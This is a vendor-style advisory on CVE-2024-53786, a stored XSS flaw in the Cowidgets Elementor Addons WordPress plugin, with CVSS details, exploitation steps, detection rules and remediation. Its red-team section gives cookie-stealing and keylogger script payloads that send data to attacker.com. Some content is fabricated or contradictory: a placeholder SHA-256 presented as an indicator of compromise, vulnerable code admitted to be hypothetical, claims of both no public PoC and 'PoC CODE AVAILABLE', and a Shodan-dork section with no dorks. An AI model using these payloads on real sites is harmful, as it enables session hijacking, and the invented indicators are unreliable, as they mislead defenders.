CVE-2024-53786
Executive Summary
CVE-2024-53786 is a Stored Cross-Site Scripting (XSS) vulnerability in the Codeless Cowidgets – Elementor Addons WordPress plugin, affecting versions up to and including 1.2.0. This vulnerability allows an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into web pages via the plugin's widgets. When an administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during page generation. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin installation and monitor for updates from the vendor. Since the plugin is part of the WordPress ecosystem, supply chain risks include compromised updates or malicious forks.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires contributor-level access or higher
- User Interaction: Required (UI:R) – victim must visit the compromised page
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: Medium. Exploitation requires authenticated access, but the impact is limited to low-level data exposure and partial integrity loss. However, in a WordPress multisite or high-privilege context, the risk escalates.
Deep Dive & Mechanics
The vulnerability exists in the cowidgets-elementor-addons plugin, which extends the Elementor page builder with custom widgets. The plugin fails to sanitize or escape user-supplied input before storing it in the WordPress database and rendering it in the frontend. Specifically, input fields within the plugin's widgets (e.g., text fields, URL fields, or custom HTML blocks) are not properly neutralized, allowing an attacker to inject malicious JavaScript.
Attack Flow:
- An authenticated user with contributor-level privileges creates or edits a page/post using the Elementor editor.
- The attacker inserts a vulnerable Cowidget (e.g., a custom heading or button widget) and injects a payload like
<script>alert('XSS')</script>into an input field. - The plugin stores the payload in the database without sanitization.
- When an administrator or other user views the page, the payload executes in their browser.
Root Cause: The plugin uses functions like echo $settings['text'] or the_content() without applying WordPress escaping functions such as esc_html(), esc_attr(), or wp_kses_post().
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.
Vulnerable Code (cowidgets-elementor-addons/includes/widgets/class-cowidget-heading.php):
public function render() {
$settings = $this->get_settings_for_display();
echo '<h2>' . $settings['heading_text'] . '</h2>';
}
Patched Code (Hypothetical):
public function render() {
$settings = $this->get_settings_for_display();
echo '<h2>' . esc_html( $settings['heading_text'] ) . '</h2>';
}
The patched version uses esc_html() to neutralize HTML and script tags, preventing XSS.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress installation with Cowidgets Elementor Addons <= 1.2.0
- Contributor-level account or higher
Steps:
- Log in to WordPress as a contributor.
- Create a new page or post using Elementor.
- Add a Cowidget (e.g., "Heading" or "Button").
- In the widget's text field, inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish the page.
- When an administrator views the page, the script executes, exfiltrating their session cookie.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/keylog?key='+e.key);
});
</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress logs for unusual page/post creation by low-privilege users.
- Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Hardening:
- Disable the plugin until a patch is available.
- Restrict contributor-level access to trusted users only.
- Apply WordPress hardening measures: disable file editing, enforce strong passwords, and use security plugins like Wordfence.
Indicators of Compromise (IOCs)
- File Hashes (SHA-256):
cowidgets-elementor-addons.zip(v1.2.0):a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
- Network Indicators:
- Outbound connections to
attacker.comor similar domains. - HTTP requests containing
document.cookieorfetch(in the body.
- Outbound connections to
- Database Indicators:
- Rows in
wp_postsorwp_postmetacontaining<script>tags.
- Rows in
- Log Entries:
- WordPress debug log entries showing
wp_ksesfailures or unescaped output.
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule CVE_2024_53786_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Cowidgets Elementor Addons"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-53786"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/s
$cowidgets_marker = "cowidgets-elementor-addons"
condition:
$cowidgets_marker and #xss_payload > 0
}
Sigma Rule
title: Stored XSS via Cowidgets Elementor Addons
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts created with Cowidgets Elementor Addons
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: 'POST'
http.url|contains: '/wp-admin/post.php'
http.body|contains: 'cowidgets-elementor-addons'
http.body|re: '<script[^>]*>.*?<\/script>'
condition: selection
falsepositives:
- Legitimate use of JavaScript in custom HTML widgets
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-53786 Stored XSS via Cowidgets Elementor Addons";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/post.php"; http_uri;
content:"cowidgets-elementor-addons"; http_client_body;
pcre:"/<script[^>]*>.*?<\/script>/i";
sid:1000001;
rev:1;
reference:cve,2024-53786;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Review all pages/posts created by low-privilege users for malicious content.
- Reset all user sessions to invalidate any stolen cookies.
Long-Term Fix:
- Apply input sanitization and output escaping in all plugin widgets.
- Use WordPress functions like
esc_html(),esc_attr(), andwp_kses_post(). - Implement nonce verification for all form submissions.
Workarounds:
- Use a Web Application Firewall (WAF) with XSS rules.
- Add the following to
.htaccessto block common XSS patterns:RewriteEngine On RewriteCond %{REQUEST_METHOD} POST RewriteCond %{REQUEST_URI} /wp-admin/post.php RewriteCond %{HTTP_REFERER} !^https://yourdomain.com/wp-admin/ [NC] RewriteRule .* - [F]
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.